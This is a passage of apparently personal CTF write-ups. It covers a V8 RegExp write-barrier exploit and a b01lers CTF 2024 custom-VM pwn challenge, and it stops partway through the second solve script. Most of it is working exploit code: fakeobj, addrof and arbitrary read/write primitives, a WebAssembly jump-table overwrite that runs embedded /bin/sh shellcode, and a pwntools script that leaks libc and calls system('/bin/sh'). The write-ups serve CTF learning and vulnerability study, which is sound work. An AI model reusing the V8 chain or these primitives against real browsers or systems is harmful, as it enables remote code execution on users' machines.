[24846:0x5587f7ad2000]        4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.04 / 0.00 ms  (average mu = 0.488, current mu = 0.488) external memory pressure;
[24846:0x5587f7ad2000]        4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.03 / 0.00 ms  (average mu = 0.488, current mu = 0.488) external memory pressure;
0x279c0019a811 <JSRegExp <String[4]: #leet>>
0x279c00282421 <JSArray[20]>
0x279c00282389 <JSArray[20]>
V8 version 12.2.0 (candidate)
d8>

Below is the script to get a fake double array object.

roots = new Array(0x20000);
index = 0;

function major_gc() {
    new ArrayBuffer(0x40000000);
}

function minor_gc() {
    for (var i = 0; i < 8; i++) {
        roots[index++] = new ArrayBuffer(0x200000);
    }
    roots[index++] = new ArrayBuffer(8);
}

function hex(i) {
    return "0x" + i.toString(16)
}

var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
    new Array(0x0d);
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
major_gc();  // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1);  // 1073741825 == 1073741824+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

minor_gc();
major_gc();

var fakeobj = re.lastIndex;

// 3.6943954791292419e-311 = 0x000006cd0018ece1
// 0x0018ece1 is address of PACKED_DOUBLE_ELEMENTS map
// 0x000006cd is address of PACKED_DOUBLE_ELEMENTS property

// 0x00282301 is address of our fake double array element (could be any value, adjust to your needs)
// 0x00100000 is the length of our fake double array
// 2.2250738598067922e-308 = 0x0010000000282301

var spray = [
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
];

var fakelen = 0x00100000n;
console.assert(BigInt(fakeobj.length) === fakelen >> 1n);
console.log(`[*] fakeobj double array with length = ${hex(fakeobj.length)}`);
eval("%DebugPrint(fakeobj)")
$ ./d8 --allow-natives-syntax ./idk.js
[*] fakeobj double array with length = 0x80000
0x15b5002821a1 <JSArray[524288]>

Now, since we have complete control over what object we could fake, let's try to build other primitives, e.g., addrof and caged arbitrary address read/write.

addrof primitive

To craft addrof primitive, we would need another helper array to store our target object address. Next, we would need to get this array object element pointer such that we could use it on our fake array object. This value can be easily obtained from debugger.

$ ./d8 --allow-natives-syntax --shell ./idk.js
[*] fakeobj double array with length = 0x80000
0x37ec002822a9 <JSArray[2]>
V8 version 12.2.0 (candidate)
d8>
gef> tele 0x37ec002822a9-0x1
0x37ec002822a8|+0x0000|+000: 0x000006cd0018ed61
0x37ec002822b0|+0x0008|+001: 0x0000000400282299   # 0x00282299
buf = new ArrayBuffer(8);
float_view = new Float64Array(buf);
u64_view = new BigUint64Array(buf);

function itof(i) {
    u64_view[0] = i;
    return float_view[0];
}

function ftoi(f) {
    float_view[0] = f;
    return u64_view[0];
}

function lo(x) {
    return x & BigInt(0xffffffff);
}

function hi(x) {
    return (x >> 32n) & BigInt(0xffffffff);
}

var idx = 13;

var addrof_arr = [spray, 0];
let addrof_arr_el = 0x282299n;

function addrof(o) {
    spray[idx] = itof(addrof_arr_el | (fakelen << 32n));
    addrof_arr[0] = o;
    return lo(ftoi(fakeobj[0]));
}

console.log(hex(addrof(addrof_arr)));
eval("%DebugPrint(addrof_arr)");
$ ./d8 --allow-natives-syntax ./idk.js
[*] fakeobj double array with length = 0x80000
0x2822a9
0x2683002822a9 <JSArray[2]>

Caged Arbitrary Address Read/Write Primitive

To get caged arbitrary address read/write primitive, we just need to adjust our fake double array element pointer to memory address we want to act on.

function cread32(addr) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[offset] = itof(el_addr | fakelen << 32n);
    return lo(ftoi(fakeobj[0]));
}

function cread64(addr) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[offset] = itof(el_addr | fakelen << 32n);
    return ftoi(fakeobj[0]);
}

function cwrite32(addr, data) {
    let temp = cread32(addr+4n);
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[offset] = itof(el_addr | fakelen << 32n);
    fakeobj[0] = itof(data | temp << 32n)
}

function cwrite64(addr, data) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[offset] = itof(el_addr | fakelen << 32n);
    fakeobj[0] = itof(data)
}

let test = [6.6, 7.7]

// trying to read test[0] by getting &test.elements
let test_addr = addrof(test)
let test_el_addr = cread32(test_addr+8n)
let test_0 = cread64(test_el_addr+8n)
console.log(itof(test_0), "===", test[0])

// trying to modify test[0] and test[1] with our write primitive
console.log(hex(ftoi(test[0])))
console.log(hex(ftoi(test[1])))
cwrite32(test_el_addr+8n, 0x13371337n)
cwrite64(test_el_addr+8n+8n, 0xdeadbeefcafebaben)
console.log(hex(ftoi(test[0])))
console.log(hex(ftoi(test[1])))
$ ./d8 ./idk.js
[*] fakeobj double array with length = 0x80000
6.6 === 6.6
0x401a666666666666
0x401ecccccccccccd
0x401a666613371337
0xdeadbeefcafebabe

Code Execution

To gain code execution, we exploit the fact that wasm instance object stores a raw uncompressed pointer to a RWX memory page and overwrite it to point to our shellcode which we crafted as part of our wasm code. More details on this could be found in my post for bi0sCTF 2024 - ezv8 revenge.

Final Solve Script

// ====================
// | Helper Functions |
// ====================
roots = new Array(0x20000);
index = 0;

function major_gc() {
    new ArrayBuffer(0x40000000);
}

function minor_gc() {
    for (var i = 0; i < 8; i++) {
        roots[index++] = new ArrayBuffer(0x200000);
    }
    roots[index++] = new ArrayBuffer(8);
}

function hex(i) {
    return "0x" + i.toString(16)
}

buf = new ArrayBuffer(8);
float_view = new Float64Array(buf);
u64_view = new BigUint64Array(buf);

function itof(i) {
    u64_view[0] = i;
    return float_view[0];
}

function ftoi(f) {
    float_view[0] = f;
    return u64_view[0];
}

function lo(x) {
    return BigInt(x) & BigInt(0xffffffff);
}

function hi(x) {
    return (BigInt(x) >> 32n) & BigInt(0xffffffff);
}

// ===========
// | Exploit |
// ===========
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec;  // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
    new Array(0x0d);
    re.lastIndex = n;
    delete re.exec;  // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
    return [""];  // to get into `SetAdvancedStringIndex`
}
major_gc();  // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1);  // 1073741825 == 1073741824+1
RegExp.prototype.exec = exec_bak;  // restore original exec()

minor_gc();
major_gc();

var fakeobj = re.lastIndex;

// 3.6943954791292419e-311 = 0x000006cd0018ece1
// 0x0018ece1 is address of PACKED_DOUBLE_ELEMENTS map
// 0x000006cd is address of PACKED_DOUBLE_ELEMENTS property

// 0x00282301 is address of our fake double array element (could be any value, adjust to your needs)
// 0x00100000 is the length of our fake double array
// 2.2250738598067922e-308 = 0x0010000000282301

var spray = [
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
    3.6943954791292419e-311, 2.2250738598067922e-308,
];

var fakelen = 0x00100000n;
console.assert(BigInt(fakeobj.length) === fakelen >> 1n);
console.log(`[*] fakeobj double array with length = ${hex(fakeobj.length)}`);

var idx = 13;

var addrof_arr = [spray, 0];
eval("%DebugPrint(addrof_arr)")
let addrof_arr_el = 0x282299n;

function addrof(o) {
    spray[idx] = itof(addrof_arr_el | (fakelen << 32n));
    addrof_arr[0] = o;
    return lo(ftoi(fakeobj[0]));
}

function cread32(addr) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[idx] = itof(el_addr | fakelen << 32n);
    return lo(ftoi(fakeobj[0]));
}

function cread64(addr) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[idx] = itof(el_addr | fakelen << 32n);
    return ftoi(fakeobj[0]);
}

function cwrite32(addr, data) {
    let temp = cread32(addr+4n);
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[idx] = itof(el_addr | fakelen << 32n);
    fakeobj[0] = itof(data | temp << 32n)
}

function cwrite64(addr, data) {
    let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
    spray[idx] = itof(el_addr | fakelen << 32n);
    fakeobj[0] = itof(data)
}

/*
(module
  (func (export "main") (result f64)
    f64.const 1.617548436999262e-270
    f64.const 1.6181477269733566e-270
    f64.const 1.6305238557700824e-270
    f64.const 1.6477681441619941e-270
    f64.const 1.6456891197542608e-270
    f64.const 1.6304734321072042e-270
    f64.const 1.6305242777505848e-270
    drop
    drop
    drop
    drop
    drop
    drop
  )
  (func (export "pwn"))
)
*/
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 20000; j++) {
    wmain();
}

instance_addr = addrof(instance);
jump_table_start = instance_addr + 0x48n;
rwx_addr = cread64(jump_table_start);
sc_addr = rwx_addr + 0x81an - 0x5n;
console.log("[+] Shellcode @", hex(sc_addr+0x5n));

console.log("[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode");
cwrite32(jump_table_start, sc_addr & BigInt(2**32-1));

// to trigger jmp to address pointed by jump_table_start, we need another new function
var pwn = instance.exports.pwn;
console.log("[+] Executing shellcode");
pwn();

Reference

Appendix

OSINT

Before I managed to find the corresponding CVE identifier, I was looking around the history of src/regexp/regexp-utils.cc file and found a commit message concerning write barrier. The detail on this commit message also link the chromium bug tracker ID 1307610. Using this ID, I managed to find out the chromium issue tracker website and search the said ID.

note

Another way is to click on the chromium review link then click on the chromium bug hyperlink.

In this issue tracking page, the author provides proof-of-concept (PoC) on how to reproduce the vulnerability.

b01lers CTF 2024

pwn

Challenge NameKeywordsSummary
mixtpeailbccustom VM, oobcustom VM with instructions to swap instruction handlers and registers without bound checking, using swap registers to leak libc address and swap instruction handlers to spawn a shell

mixtpeailbc

Author: Athryx
Description: Can you make this bytecode vm execute real code? This challenge uses the same binary as mixtape.
Attachment: mixtpeailbc.tar.gz

TL;DR

This VM contains instructions to swap instruction handler and registers where the indices come from the VM bytecode memory referenced by the value of register plus an offset without any bound checking. This vulnerability leads to OOB read to leak libc address and eventually swap one of the instruction handler with user controlled function.

Reversing the VM

note

Snippet of the reversed VM source code can be viewed in the appendix section

The VM object is first allocated in the stack and its memory is divided into three logical parts:

  • instruction handler table (39 entries, 0x138 bytes)
  • registers (indexed from 0-255, 0x800 bytes)
  • bytecode (0x8000 bytes)

The instructions is made up of 4 bytes, where:

  • 1st byte is the index to the instruction handler table
  • 2nd, 3rd, and 4th bytes are reserved for operand 1, operand 2, and operand 3

The operands could be either an immediate value or the index of the registers.

The only important register is the first register, r0, which acts as an instruction pointer.

Here is the brief description of the instructions that may interest us:

note

the first argument refers to operand 1, the second argument refers to operand 2, and the third argument refers to operand 3

ropN refers to operand N, where the value is used as the index of the registers (vm.regs.rX[opN])

instructiondescription
vm_next_insn()get the next instruction by adding 4 to r0
vm_mov_r_mem(rop1, rop2, op3)rop1 = (uint64_t)vm.bytecode[rop2+op3] with bound checking
vm_mov_mem_r(rop1, rop2, op3)vm.bytecode[rop2+op3] = (uint64_t)rop1 with bound checking
vm_rearrange_vtable(op3, rop2, op3)rearrange the vtable with indices stored from vm.bytecode[rop2+op3] to vm.bytecode[rop2+op3+25] without bound checking
vm_rearrange_regs(op3, rop2, op3)rearrange op1 number of registers with indices stored from vm.bytecode[rop2+op3] to vm.bytecode[rop2+op3+op1-1] without bound checking
vm_set_r_16(rop1, op2)clears out all bits, then set bit 00-15 of rop1 with 16-bit values spanning from op2 to op3
vm_set_r_32(rop1, op2)set bit 16-31 of rop1 with 16-bit values spanning from op2 to op3
vm_set_r_48(rop1, op2)set bit 32-47 of rop1 with 16-bit values spanning from op2 to op3
vm_set_r_64(rop1, op2)set bit 48-63 of rop1 with 16-bit values spanning from op2 to op3
vm_set_r0(rop1, op2)set r0 to rop1 + 16-bit values spanning from op2 to op3
vm_putc(op1, rop2, op3)read op1 bytes of value from vm.bytecode[rop2+op3] and print it to stdout, with bound checking
vm_getc(op1, rop2, op3)write to vm.bytecode[rop2+op3] with op1 bytes of input from stdin, with bound checking
vm_movb_r_mem(rop1, rop2, op3)rop1 = (uint8_t)vm.bytecode[rop2+op3] with bound checking
vm_setb_mem_r(rop1, rop2, op3)vm.bytecode[rop2+op3] = (uint8_t)rop1 with bound checking
vm_X_rop1_rop2_rop3rop1 = rop2 X rop3, where X is either add, sub, mul, div, or, and, xor, shl
vm_X_rop1_rop2_op3rop1 = rop2 X op3, where X is either add, sub, mul, div, or, and, xor, shl

As can be seen, most instruction has bound checking except for both vm_rearrange_vtable and vm_rearrange_regs. Let us delve into both of these functions and see how we could leak and eventually hijack the control flow.

Leaking libc address via vm_rearrange_regs

In this function, we are free to use any memory address relative to vm.bytecode and use the values there as the indices for shuffling.

unsigned __int64 __fastcall vm_rearrange_regs(s_vm *vm, unsigned int insn)
{
  unsigned __int8 op1; // [rsp+17h] [rbp-829h]
  unsigned __int64 i; // [rsp+18h] [rbp-828h]
  unsigned __int64 j; // [rsp+20h] [rbp-820h]
  unsigned __int8 *ptr; // [rsp+28h] [rbp-818h]
  __int64 saved_regs[256]; // [rsp+30h] [rbp-810h]
  unsigned __int64 canary; // [rsp+838h] [rbp-8h]

  canary = __readfsqword(0x28u);
  op1 = vm_get_op1(insn);
  // potential oob
  ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
  for ( i = 0LL; i <= 0xFF; ++i )
    saved_regs[i] = vm->regs.rX[i];
  for ( j = 0LL; j < op1; ++j )
    vm->regs.rX[j] = saved_regs[ptr[j]];
  _vm_next_insn(vm);
  return __readfsqword(0x28u) ^ canary;
}

Since the vm object is located on the stack, this means that there is a high chance that the neighboring memory address contains valuable data, for instance, libc addresses.

In general, the function main() would return to the middle of __libc_start_main, which is part of the libc memory region. Coincidentally, vm lives inside main() function stack frame, so we could calculate the distance easily.

+---------------------+
| instruction handler |
|        table        |
+---------------------+
|      registers      |
+---------------------+
|      bytecode       |  bytecode[0] until bytecode[0x7fff]
+---------------------+
|       canary        |  bytecode[0x8000]
+---------------------+
|      saved rbp      |  bytecode[0x8008]
+---------------------+
|      saved rip      |  bytecode[0x8010] == __libc_start_main_ret
+---------------------+

Now, let's observe how we could leak stuff with this instruction.

vm_rearrange_regs(8, 0x10, 0x00)

vm.bytecode[0x10] = A
vm.bytecode[0x11] = B
vm.bytecode[0x12] = C
vm.bytecode[0x13] = D
vm.bytecode[0x14] = E
vm.bytecode[0x15] = F
vm.bytecode[0x16] = G
vm.bytecode[0x17] = H

The instruction above would modify r0 through r7 and results in

r0 = rA
r1 = rB
r2 = rC
r3 = rD
r4 = rE
r5 = rF
r6 = rG
r7 = rH

However, notice that the value of rA, rB, rC, etc., may not correlate directly with the value that we wanted to leak, unless we set each registers with the value of its index (luckily, we just have the perfect number of registers, 256, to correlate with a one byte value, how coincidental!).

r1 = 1
r2 = 2
r3 = 3
r4 = 4
r5 = 5
...
r252 = 252
r253 = 253
r254 = 254
r255 = 255

As a result, our r0 - r7 would just contain the leak value itself.

Next, notice that each 8-bit value of the 64-bit value that we want to leak ends up in different registers. We could concatenate these registers into a single register like this

xor r8, r8, r8
shl r8, r8, 0x8
add r8, r8, r7
shl r8, r8, 0x8
add r8, r8, r6
shl r8, r8, 0x8
add r8, r8, r5
shl r8, r8, 0x8
add r8, r8, r4
shl r8, r8, 0x8
add r8, r8, r3
shl r8, r8, 0x8
add r8, r8, r2
shl r8, r8, 0x8
add r8, r8, r1

Now, r8 is exactly the value that we want to leak. One last caveat is that we changed r0 which means that we need to carefully crafts our bytecode such that it continues execution as expected. Since size of bytecode requires to setup from r1 to r255 is already larger than 0x100 and our r0 might end up somewhere in between 0x00 and 0xff, we need this setup code to be located above 0x100, e.g., at offset 0x400. And to reach this piece of code, we would need to use vm_set_r0 to set our r0 accordingly. Finally, we would want to continue writing our code at r0 + 4 after the shuffle has happened.

# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083

bytecode = b""
# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)

bytecode = bytecode.ljust((__libc_start_main_ret & 0xff) + 4, b"\x00")

# bytecode continuation after executing vm_rearrange_regs
bytecode += VM_EXIT()

# bytecode to leak libc
bytecode = bytecode.ljust(0x400, b"\x00")
# sets each registers value to its own index value
for i in range(1, 256):
    bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
# set r10 = 0x8010
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# __libc_start_main_ret is 0x24083, so r0 changes to 0x83 and after shuffle
# the next instruction to be executed is at 0x83 + 0x4 = 0x87
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)

Control Flow Hijacking via vm_rearrange_vtable

Similar to vm_rearrange_regs, we are free to use any memory address relative to vm.bytecode to modify our instruction handler table. However, we are not going to use this oob. Instead, we would use saved_vtable[idx] as our oob vector to copy values from vm.regs.

note

This does not work previously on vm_rearrange_regs since the size of saved_regs is just in the range of idx (0x00 - 0xff).

unsigned __int64 __fastcall vm_rearrange_vtable(s_vm *vm, unsigned int insn)
{
  unsigned __int64 i; // [rsp+18h] [rbp-158h]
  unsigned __int64 j; // [rsp+20h] [rbp-150h]
  unsigned __int8 *ptr; // [rsp+28h] [rbp-148h]
  __int64 saved_vtable[39]; // [rsp+30h] [rbp-140h]
  unsigned __int64 canary; // [rsp+168h] [rbp-8h]

  canary = __readfsqword(0x28u);
  // potential oob
  ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
  for ( i = 0LL; i <= 0x26; ++i )
    saved_vtable[i] = vm->vtable[i];
  for ( j = 0LL; j <= 0x26; ++j )
    vm->vtable[j] = saved_vtable[ptr[j]];
  _vm_next_insn(vm);
  return __readfsqword(0x28u) ^ canary;
}

Since the idx in saved_vtable[idx] is an 8-bit value, we need to find neighboring memory address that we could fully control.

+---------------------+
|     saved_vtable    |
+---------------------+
|         ...         |
+---------------------+
| instruction handler |
|        table        |
+---------------------+
|      registers      |
+---------------------+

Fortunately, with an 8-bit idx, we are able to reach the memory region of our vm.regs in which we can populate with any value that we want. Now, we just need to setup the value we want to overwrite our instruction handler with, on one of the registers.

Looking at the line of code which calls the instruction handler, we could see that we have control over the first and second arguments.

    ((void (__fastcall *)(s_vm *, _QWORD))vm->vtable[v1])(vm, insn);
  • Option 1: system("/bin/sh")

    Since vm == &vm.vtable[0], if we overwrite vm.vtable[0] with the string of /bin/sh and overwrite vm.vtable[1] with system function address, this would just end up calling system("/bin/sh")

  • Option 2: one_gadget

    Another way to pop a shell is to use this one_gadget.

    0xe3b04 execve("/bin/sh", rsi, rdx)
    constraints:
      [rsi] == NULL || rsi == NULL
      [rdx] == NULL || rdx == NULL
    
# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083

bytecode = b""
# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)

bytecode = bytecode.ljust((__libc_start_main_ret & 0xff) + 4, b"\x00")

# bytecode continuation after executing vm_rearrange_regs
for i in range(1, 6):
    bytecode += VM_AND_R_R_IMM(i, i, 0xFF)

# combine everything into one register r10
bytecode += VM_XOR_R_R_R(0x10, 0x10, 0x10)
for i in range(1, 6):
    bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
    bytecode += VM_ADD_R_R_R(0x10, 0x10, 6 - i)
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)

# set __libc_start_main_ret offset to r11
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_32(0x11, 0x2)
bytecode += VM_SUB_R_R_R(0x10, 0x10, 0x11)
# now r10 = libc base address

system = libc.sym["system"]

bytecode += VM_XOR_R_R_R(0x15, 0x15, 0x15)
# set system function offset to r15
bytecode += VM_SET_R_16(0x15, system & 0xFFFF)
bytecode += VM_SET_R_32(0x15, (system >> 16) & 0xFFFF)
bytecode += VM_XOR_R_R_R(0x13, 0x13, 0x13)
bytecode += VM_ADD_R_R_R(0x13, 0x10, 0x15)

# set /bin/sh string to r14
bytecode += VM_XOR_R_R_R(0x14, 0x14, 0x14)
bytecode += VM_SET_R_16(0x14, u16(b"/b"))
bytecode += VM_SET_R_32(0x14, u16(b"in"))
bytecode += VM_SET_R_48(0x14, u16(b"/s"))
bytecode += VM_SET_R_64(0x14, u16(b"h\x00"))

# write 0x6f @ bytecode[0x4000]
# write 0x6e @ bytecode[0x4001]
bytecode += VM_XOR_R_R_R(0x11, 0x11, 0x11)
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_16(0x12, 0x6F)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x00)
bytecode += VM_SET_R_16(0x12, 0x6E)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x01)
# shuffle vtable where vm->vtable[0] = vtable[0x6f] which contains
# "/bin/sh" string and vm->vtable[1] = vtable[0x6e] which contains
# system function address
bytecode += VM_SHUFFLE_VTABLES(0x2, 0x11, 0x00)

# call system
bytecode += VM_MOV_R_MEM(0, 0, 0)
bytecode += VM_EXIT()

# bytecode to leak libc
bytecode = bytecode.ljust(0x400, b"\x00")
# sets each registers value to its own index value
for i in range(1, 256):
    bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
# set r10 = 0x8010
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# __libc_start_main_ret is 0x24083, so r0 changes to 0x83 and after shuffle
# the next instruction to be executed is at 0x83 + 0x4 = 0x87
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)

Final Solve Script

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

import tempfile
from base64 import b64encode

from pwn import *

elf = context.binary = ELF("./mixtape", checksec=False)
libc = elf.libc
context.terminal = ["tmux", "neww"]


def VM_NEXT_INSN(op1=0, op2=0, op3=0):
    return p8(0) + p8(op1) + p8(op2) + p8(op3)


def VM_MOV_R_MEM(r_dest, r_base, offset):
    """
    mov r_op1, mem[r_op2+op3]
    """
    return p8(1) + p8(r_dest) + p8(r_base) + p8(offset)


def VM_MOV_MEM_R(r_src, r_base, offset):
    """
    mov r_op1, mem[r_op2+op3]
    """
    return p8(2) + p8(r_src) + p8(r_base) + p8(offset)


def VM_SHUFFLE_VTABLES(op1, r_op2, op3):
    return p8(3) + p8(op1) + p8(r_op2) + p8(op3)


def VM_SHUFFLE_REGS(op1, r_op2, op3):
    """
    op1 = number of regs
    """
    return p8(4) + p8(op1) + p8(r_op2) + p8(op3)


def VM_EXIT(op1=0, op2=0, op3=0):
    """
    exit
    """
    return p8(5) + p8(op1) + p8(op2) + p8(op3)


def VM_SET_R_16(r_dest, imm):
    """
    set lowest 16-bit
    """
    return p8(6) + p8(r_dest) + p16(imm)


def VM_SET_R_32(r_dest, imm):
    """
    or r_op1, op2 << 16
    set bit 16 to 31
    """
    return p8(7) + p8(r_dest) + p16(imm)


def VM_SET_R_48(r_dest, imm):
    """
    or r_op1, op2 << 32
    set bit 32 to 47
    """
    return p8(8) + p8(r_dest) + p16(imm)


def VM_SET_R_64(r_dest, imm):
    """
    or r_op1, op2 << 48
    set bit 48 to 63
    """
    return p8(9) + p8(r_dest) + p16(imm)


def VM_CMP_R_R(r_dest, r_op2, r_op3):
    """
    if r_op2 == r_op3 then r_dest = 1
    if r_op2 < r_op3 then r_dest = 2
    else r_dest = 0
    """
    return p8(10) + p8(r_dest) + p8(r_op2) + p8(r_op3)


def VM_CMP_R_IMM(r_dest, r_op2, imm):
    """
    if r_op2 == imm then r_dest = 1
    if r_op2 < imm then r_dest = 2
    else r_dest = 0
    """
    return p8(11) + p8(r_dest) + p8(r_op2) + p8(imm)


def VM_SET_R0(r_op1, imm):
    """
    lea r0, [r_op1+imm]
    """
    return p8(12) + p8(r_op1) + p16(imm)


def VM_ADD_R_R_R(r_dest, r_op2, r_op3):
    return p8(19) + p8(r_dest) + p8(r_op2) + p8(r_op3)


def VM_ADD_R_R_IMM(r_dest, r_op2, op3):
    return p8(20) + p8(r_dest) + p8(r_op2) + p8(op3)


def VM_SUB_R_R_R(r_dest, r_op2, r_op3):
    return p8(21) + p8(r_dest) + p8(r_op2) + p8(r_op3)


def VM_SUB_R_R_IMM(r_dest, r_op2, op3):
    return p8(22) + p8(r_dest) + p8(r_op2) + p8(op3)


def VM_AND_R_R_IMM(r_dest, r_op2, op3):
    return p8(30) + p8(r_dest) + p8(r_op2) + p8(op3)


def VM_XOR_R_R_R(r_dest, r_op2, r_op3):
    return p8(31) + p8(r_dest) + p8(r_op2) + p8(r_op3)


def VM_PUTC(op1, r_op2, op3):
    return p8(33) + p8(op1) + p8(r_op2) + p8(op3)


def VM_GETC(op1, r_op2, op3):
    return p8(34) + p8(op1) + p8(r_op2) + p8(op3)


def VM_SETB_MEM_R(r_op1, r_op2, op3):
    return p8(36) + p8(r_op1) + p8(r_op2) + p8(op3)


def VM_SHL_R_R_IMM(r_dest, r_op2, op3):
    return p8(38) + p8(r_dest) + p8(r_op2) + p8(op3)


def start(argv=[], *a, **kw):
    nc = "nc gold.b01le.rs 4003"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        args_ = [elf.path] + argv
        if args.NA:  # NOASLR
            args_ = ["setarch", "-R"] + args_
        if args.GDB:
            return gdb.debug(args=args_, env=env, gdbscript=gdbscript)
        return process(args_, env=env, *a, **kw)


env = {}
gdbscript = """
source ~/.gdbinit-gef-bata24.py
b *exec_vm
# b *exec_vm+0x71
b *vm_rearrange_vtable+87
tb *vm_rearrange_regs
c  # exec_vm
memory watch $rdi+0x138 0x100 qword
memory watch $rdi+0x938 0x100 dword
c
# b *exec_vm+0x71
"""

# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083

bytecode = b""

# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)

# writing insn @ 0x83+0x4 = 0x87
bytecode = bytecode.ljust((__libc_start_main_ret & 0xFF) + 4, b"\x00")
for i in range(1, 6):
    bytecode += VM_AND_R_R_IMM(i, i, 0xFF)

# combine everything into one register r10
bytecode += VM_XOR_R_R_R(0x10, 0x10, 0x10)
for i in range(1, 6):
    bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
    bytecode += VM_ADD_R_R_R(0x10, 0x10, 6 - i)
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)

# set __libc_start_main_ret offset to r11
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_32(0x11, 0x2)
bytecode += VM_SUB_R_R_R(0x10, 0x10, 0x11)
# now r10 = libc base address

system = libc.sym["system"]

bytecode += VM_XOR_R_R_R(0x15, 0x15, 0x15)
# set system function offset to r15
bytecode += VM_SET_R_16(0x15, system & 0xFFFF)
bytecode += VM_SET_R_32(0x15, (system >> 16) & 0xFFFF)
bytecode += VM_XOR_R_R_R(0x13, 0x13, 0x13)
bytecode += VM_ADD_R_R_R(0x13, 0x10, 0x15)

# set /bin/sh string to r14
bytecode += VM_XOR_R_R_R(0x14, 0x14, 0x14)
bytecode += VM_SET_R_16(0x14, u16(b"/b"))
bytecode += VM_SET_R_32(0x14, u16(b"in"))
bytecode += VM_SET_R_48(0x14, u16(b"/s"))
bytecode += VM_SET_R_64(0x14, u16(b"h\x00"))

# write 0x6f @ bytecode[0x4000]
# write 0x6e @ bytecode[0x4001]
bytecode += VM_XOR_R_R_R(0x11, 0x11, 0x11)
bytecode += VM_SET_R_16(0x11, 0x4000)
